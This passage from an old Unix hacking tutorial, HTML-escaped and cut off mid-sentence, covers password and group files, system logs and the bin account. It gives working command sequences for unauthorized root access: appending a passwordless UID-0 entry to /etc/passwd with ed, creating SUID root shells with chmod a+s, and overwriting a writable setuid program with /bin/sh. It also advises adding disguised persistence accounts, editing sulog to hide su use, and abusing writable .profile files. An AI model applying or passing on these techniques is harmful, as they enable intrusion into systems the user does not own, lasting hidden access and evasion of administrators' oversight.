/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; In the first line, sirhack is a valid user.&amp;nbsp; The second&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; field, however, is supposed to be a password, right?&amp;nbsp; Well,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; it is, but it&#39;s encrypted with the DES encryption standard.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; the part that says &quot;&amp;amp;a,Ty&quot; may include a date after the comma&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (Ty) that tells unix when the password expires.&amp;nbsp; Yes, the&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; date is encrypted into two alphanumeric characters (Ty).&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; In the Second example, the demo account has no password.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; so at Login, you could type in:&lt;br /&gt;&lt;br /&gt;login: demo&lt;br /&gt;UNIX system V&lt;br /&gt;(c)1984 AT&amp;amp;T&lt;br /&gt;..&lt;br /&gt;..&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; But with sirhack, you&#39;d have to enter a password.&amp;nbsp; Now,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; the password file is great, since a lot of times, you;ll&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; be able to browse through it to look for unpassworded&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; accounts.&amp;nbsp; Remember that some accounts can be restricted&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; from logging in, as such:&lt;br /&gt;&lt;br /&gt;bin:*:2:2:binaccount:/bin:/bin/sh&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; The &#39;*&#39; means you won&#39;t be able to login with it.&amp;nbsp; Your&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; only hope would be to run an SUID shell (explained later).&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; A note about the DES encryption:&amp;nbsp; each unix makes its own unique&lt;br /&gt;&quot;keyword&quot; to base encryption off of.&amp;nbsp; Most of the time its just random letters&lt;br /&gt;and numbers.&amp;nbsp; Its chosen at installation time by the operating system.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Now, decrypting DES encrypted things ain&#39;t easy.&amp;nbsp; Its pretty much&lt;br /&gt;impossible.&amp;nbsp; Especially decrypting the password file (decrypting the password&lt;br /&gt;field within the password file to be exact).&amp;nbsp; Always beware a hacker who&lt;br /&gt;says he decrypted a password file.&amp;nbsp; He&#39;s full of shit.&amp;nbsp; Passwords are&lt;br /&gt;never decrypted on unix, but rather, a system call is made to a function&lt;br /&gt;called &quot;crypt&quot; from within the C language, and the string you enter as&lt;br /&gt;the password gets encrypted, and compared to the encrypted password.&amp;nbsp; If&lt;br /&gt;they match, you&#39;re in.&amp;nbsp; Now, there are password hackers, but they donot&lt;br /&gt;decrypt the password file, but rather, encrypt words from a dictionary&lt;br /&gt;and try them against every account (by crypting/comparing) until it finds&lt;br /&gt;a match (later on!).&amp;nbsp; Remember, few, if none, have decrypted the password&lt;br /&gt;file successfuly.&lt;br /&gt;&lt;br /&gt;/etc/group - This file contains The valid groups.&amp;nbsp; The group file is usually&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; defined as this:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; groupname:password:groupid:users in group&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Once again, passwords are encrypted here too.&amp;nbsp; If you see a blank&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; in the password entry you can become part of that group by&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; using the utility &quot;newgrp&quot;. Now, there are some cases in&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; which even groups with no password will allow only certain&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; users to be assigned to the group via the newgrp command. Usually,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if the last field is left blank, that means any user can use newgrp&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; to get that group&#39;s access.&amp;nbsp; Otherwise, only the users specified in&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; the last field can enter the group via newgrp.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Newgrp is just a program that will change your group current&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; group id you are logged on under to the one you specify.&amp;nbsp; The&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; syntax for it is:&amp;nbsp; newgrp groupname&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Now, if you find a group un passworded, and use newgrp to&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; enter it, and it asks for a password, you are not allowed to use&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; the group.&amp;nbsp; I will explain this further in The &quot;SU &amp;amp; Newgrp&quot; section.&lt;br /&gt;&lt;br /&gt;/etc/hosts - this file contains a list of hosts it is connected to thru&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; a hardware network (like an x.25 link or something), or sometimes&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; just thru UUCP.&amp;nbsp; This is a good file when you are hacking a&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; large network, since it tells you systems you can use with&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; rsh (Remote Shell, not restricted shell), rlogin, and telnet,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; as well as other ethernet/x.25 link programs.&lt;br /&gt;&lt;br /&gt;/usr/adm/sulog (or su_log) - the file sulog (or su_log) may be found in&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Several directories, but it is usually in /usr/adm.&amp;nbsp; This file&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; is what it sounds like.&amp;nbsp; Its a log file, for the program SU.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; What it is for is to keep a record of who uses SU and when.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; whenever you use SU, your best bet would be to edit this file&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if possible, and I&#39;ll tell you how and why in the section&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; about using &quot;su&quot;.&lt;br /&gt;&lt;br /&gt;/usr/adm/loginlog&lt;br /&gt;or /usr/adm/acct/loginlog -&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; This is a log file, keeping track of the logins.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Its purpose is merely for accounting and &quot;security review&quot;.&amp;nbsp; Really,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sometimes this file is never found, since a lot of systems keep the&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; logging off.&lt;br /&gt;&lt;br /&gt;/usr/adm/errlog&lt;br /&gt;or errlog -&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; This is the error log.&amp;nbsp; It could be located anywhere.&amp;nbsp; It&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; keeps track of all serious and even not so serious errors.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Usually, it will contain an error code, then a situation.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; the error code can be from 1-10, the higher the number, the&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; worse the error.&amp;nbsp; Error code 6 is usually used when you try&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; to hack.&amp;nbsp; &quot;login&quot; logs your attempt in errlog with error code&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 6.&amp;nbsp; Error code 10 means, in a nutshell, &quot;SYSTEM CRASH&quot;.&lt;br /&gt;&lt;br /&gt;/usr/adm/culog - This file contains entries that tell when you used cu,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; where you called and so forth.&amp;nbsp; Another security thing.&lt;br /&gt;&lt;br /&gt;/usr/mail/&amp;lt;userLogin&amp;gt; - this is where the program &quot;mail&quot; stores its mail.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; to read a particular mailbox, so they are called,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; you must be that user, in the user group &quot;mail&quot; or&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; root.&amp;nbsp; each mailbox is just a name.&amp;nbsp; for instance,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if my login was &quot;sirhack&quot; my mail file would usually&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; be: /usr/mail/sirhack&lt;br /&gt;&lt;br /&gt;/usr/lib/cron/crontabs - This contains the instructions for cron, usually.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Will get into this later.&lt;br /&gt;&lt;br /&gt;/etc/shadow - A &quot;shadowed&quot; password file.&amp;nbsp; Will talk about this later.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-- The BIN account --&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Well, right now, I&#39;d like to take a moment to talk about the account&lt;br /&gt;&quot;bin&quot;.&amp;nbsp; While it is only a user level account, it is very powerful.&amp;nbsp; It is&lt;br /&gt;the owner of most of the files, and on most systems, it owns /etc/passwd,&lt;br /&gt;THE most important file on a unix.&amp;nbsp; See, the bin account owns most of the&lt;br /&gt;&quot;bin&quot; (binary) files, as well as others used by the binary files, such&lt;br /&gt;as login.&amp;nbsp; Now, knowing what you know about file permissions, if bin owns&lt;br /&gt;the passwd file, you can edit passwd and add a root entry for yourself.&lt;br /&gt;You could do this via the edit command:&lt;br /&gt;$ ed passwd&lt;br /&gt;10999 [The size of passwd varies]&lt;br /&gt;* a&lt;br /&gt;sirhak::0:0:Mr. Hackalot:/:/bin/sh&lt;br /&gt;{control-d}&lt;br /&gt;* w&lt;br /&gt;* q&lt;br /&gt;$&lt;br /&gt;&lt;br /&gt;Then, you could say: exec login, then you could login as sirhack, and&lt;br /&gt;you&#39;d be root.&lt;br /&gt;&lt;br /&gt;/\/\/\/\/\/\/\/\/&lt;br /&gt;Hacking..........&lt;br /&gt;/\/\/\/\/\/\/\/\/&lt;br /&gt;&lt;br /&gt;--------------&lt;br /&gt;Account Adding&lt;br /&gt;--------------&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; There are other programs that will add users to the system, instead&lt;br /&gt;of ed.&amp;nbsp; But most of these programs will NOT allow a root level user to be&lt;br /&gt;added, or anything less than a UID of 100.&amp;nbsp; One of these programs is&lt;br /&gt;named &quot;adduser&quot;.&amp;nbsp; Now, the reason I have stuck this little section in, is&lt;br /&gt;for those who want to use a unix for something useful.&amp;nbsp; Say you want a&lt;br /&gt;&quot;mailing address&quot;.&amp;nbsp; If the unix has uucp on it, or is a big college,&lt;br /&gt;chances are, it will do mail transfers.&amp;nbsp; You&#39;ll have to test the unix&lt;br /&gt;by trying to send mail to a friend somewhere, or just mailing yourself.&lt;br /&gt;If the mailer is identified as &quot;smail&quot; when you mail yourself (the program&lt;br /&gt;name will be imbedded in the message) that probably means that the system&lt;br /&gt;will send out UUCP mail.&amp;nbsp; This is a good way to keep in contact with people.&lt;br /&gt;Now, this is why you&#39;d want a semi-permanent account.&amp;nbsp; The way to achieve this&lt;br /&gt;is by adding an account similar to those already on the system.&amp;nbsp; If all the&lt;br /&gt;user-level accounts (UID &amp;gt;= 100) are three letter abbriviations, say&lt;br /&gt;&quot;btc&quot; for Bill The Cat, or &quot;brs&quot; for bill ryan smith, add an account&lt;br /&gt;via adduser, and make a name like sally jane marshall or something&lt;br /&gt;(they don&#39;t expect hackers to put in female names) and have the account&lt;br /&gt;named sjm.&amp;nbsp; See, in the account description (like Mr. Hackalot above), that&lt;br /&gt;is where the real name is usually stored.&amp;nbsp; So, sjm might look like this:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sjm::101:50:Sally Jane Marshall:/usr/sjm:/bin/sh&lt;br /&gt;Of course, you will password protect this account, right?&lt;br /&gt;Also, group id&#39;s don&#39;t have to be above 100, but you must put the account&lt;br /&gt;into one that exists.&amp;nbsp; Now, once you login with this account, the first&lt;br /&gt;thing you&#39;d want to do is execute &quot;passwd&quot; to set a password up.&amp;nbsp; If you&lt;br /&gt;don&#39;t, chances are someone else &#39;ll do it for you (Then you&#39;ll be SOL).&lt;br /&gt;&lt;br /&gt;-------------------&lt;br /&gt;Set The User ID&lt;br /&gt;-------------------&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; This is porbably one of the most used schemes.&amp;nbsp; Setting up an &quot;UID-&lt;br /&gt;Shell&quot;. What does this mean?&amp;nbsp; Well, it basically means you are going&lt;br /&gt;to set the user-bit on a program.&amp;nbsp; The program most commonly used is&lt;br /&gt;a shell (csh,sh, ksh, etc).&amp;nbsp; Why?&amp;nbsp; Think about it:&amp;nbsp; You&#39;ll have access&lt;br /&gt;to whatever the owner of the file does.&amp;nbsp; A UID shell sets the user-ID of&lt;br /&gt;the person who executes it to the owner of the program.&amp;nbsp; So if root&lt;br /&gt;owns a uid shell, then you become root when you run it.&amp;nbsp; This is an&lt;br /&gt;alternate way to become root.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Say you get in and modify the passwd file and make a root level&lt;br /&gt;account unpassworded, so you can drop in.&amp;nbsp; Of course, you almost HAVE to&lt;br /&gt;get rid of that account or else it WILL be noticed eventually.&amp;nbsp; So, what&lt;br /&gt;you would do is set up a regular user account for yourself, then, make&lt;br /&gt;a uid shell.&amp;nbsp; Usually you would use /bin/sh to do it.&amp;nbsp; After adding&lt;br /&gt;the regular user to the passwd file, and setting up his home directory,&lt;br /&gt;you could do something like this:&lt;br /&gt;(assume you set up the account: shk)&lt;br /&gt;&amp;nbsp;# cp /bin/sh /usr/shk/runme&lt;br /&gt;&amp;nbsp;# chmod a+s /usr/shk/runme&lt;br /&gt;&lt;br /&gt;Thats all there would be to it.&amp;nbsp; When you logged in as shk, you could just&lt;br /&gt;type in:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;$ runme&lt;br /&gt;&amp;nbsp;#&lt;br /&gt;&lt;br /&gt;See?&amp;nbsp; You&#39;d then be root.&amp;nbsp; Here is a thing to do:&lt;br /&gt;&lt;br /&gt;$ id&lt;br /&gt;uid=104(shk) gid=50(user)&lt;br /&gt;&lt;br /&gt;$ runme&lt;br /&gt;# id&lt;br /&gt;uid=104(shk) gid=50(user) euid=0(root)&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;The euid is the &quot;effective&quot; user ID.&amp;nbsp; UID-shells only set the effective&lt;br /&gt;userid, not the real user-id.&amp;nbsp; But, the effective user id over-rides the&lt;br /&gt;real user id.&amp;nbsp; Now, you can, if you wanted to just be annoying, make&lt;br /&gt;the utilities suid to root.&amp;nbsp; What do I mean?&amp;nbsp; For instance, make &#39;ls&#39;&lt;br /&gt;a root &#39;shell&#39;. :&lt;br /&gt;&lt;br /&gt;# chmod a+s /bin/ls&lt;br /&gt;# exit&lt;br /&gt;$ ls -l /usr/fred&lt;br /&gt;..&lt;br /&gt;......&lt;br /&gt;etc crap&lt;br /&gt;&lt;br /&gt;Ls would then be able to pry into ANY directory.&amp;nbsp; If you did the same to&lt;br /&gt;&quot;cat&quot; you could view any file.&amp;nbsp; If you did it to rm, you could delete any&lt;br /&gt;file.&amp;nbsp; If you did it to &#39;ed&#39;, you could edit any-file (nifty!), anywhere on&lt;br /&gt;the system (usually).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;How do I get root?&lt;br /&gt;------------------&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; Good question indeed.&amp;nbsp; To make a program set the user-id shell to root,&lt;br /&gt;you have to be root, unless you&#39;re lucky.&amp;nbsp; What do I mean?&amp;nbsp; Well, say&lt;br /&gt;you find a program that sets the user-id to root.&amp;nbsp; If you have access&lt;br /&gt;to write to that file, guess what?&amp;nbsp; you can copy over it, but keep&lt;br /&gt;the uid bit set.&amp;nbsp; So, say you see that the program chsh is setting&lt;br /&gt;the user id too root.&amp;nbsp; You can copy /bin/sh over it.&lt;br /&gt;&lt;br /&gt;$ ls -l&lt;br /&gt;rwsrwsrws&amp;nbsp; root&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; other&amp;nbsp; 10999 Jan 4&amp;nbsp; chsh&lt;br /&gt;$ cp /bin/sh chsh&lt;br /&gt;$ chsh&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;See?&amp;nbsp; That is just one way.&amp;nbsp; There are others, which I will now talk&lt;br /&gt;about.&lt;br /&gt;&lt;br /&gt;More on setting the UID&lt;br /&gt;-----------------------&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Now, the generic form for making a program set the User-ID bit&lt;br /&gt;is to use this command:&lt;br /&gt;&lt;br /&gt;chmod a+s file&lt;br /&gt;&lt;br /&gt;Where &#39;file&#39; is a valid existing file.&amp;nbsp; Now, only those who own the file&lt;br /&gt;can set the user ID bit.&amp;nbsp; Remember, anything YOU create, YOU own, so if&lt;br /&gt;you copy th /bin/sh, the one you are logged in as owns it, or IF the&lt;br /&gt;UID is set to something else, the New UID owns the file.&amp;nbsp; This brings&lt;br /&gt;me to BAD file permissions.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;II. HACKING : Bad Directory Permissions&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Now, what do I mean for bad directory permissions?&amp;nbsp; Well, look for&lt;br /&gt;files that YOU can write to, and above all, DIRECTORIES you can write to.&lt;br /&gt;If you have write permissions on a file, you can modify it.&amp;nbsp; Now, this comes&lt;br /&gt;in handy when wanting to steal someone&#39;s access.&amp;nbsp; If you can write to&lt;br /&gt;a user&#39;s .profile, you are in business.&amp;nbsp; You can have that user&#39;s .profile&lt;br /&gt;create a suid shell for you to run when You next logon after the user.&lt;br /&gt;If the .profile is writable to you, you can do 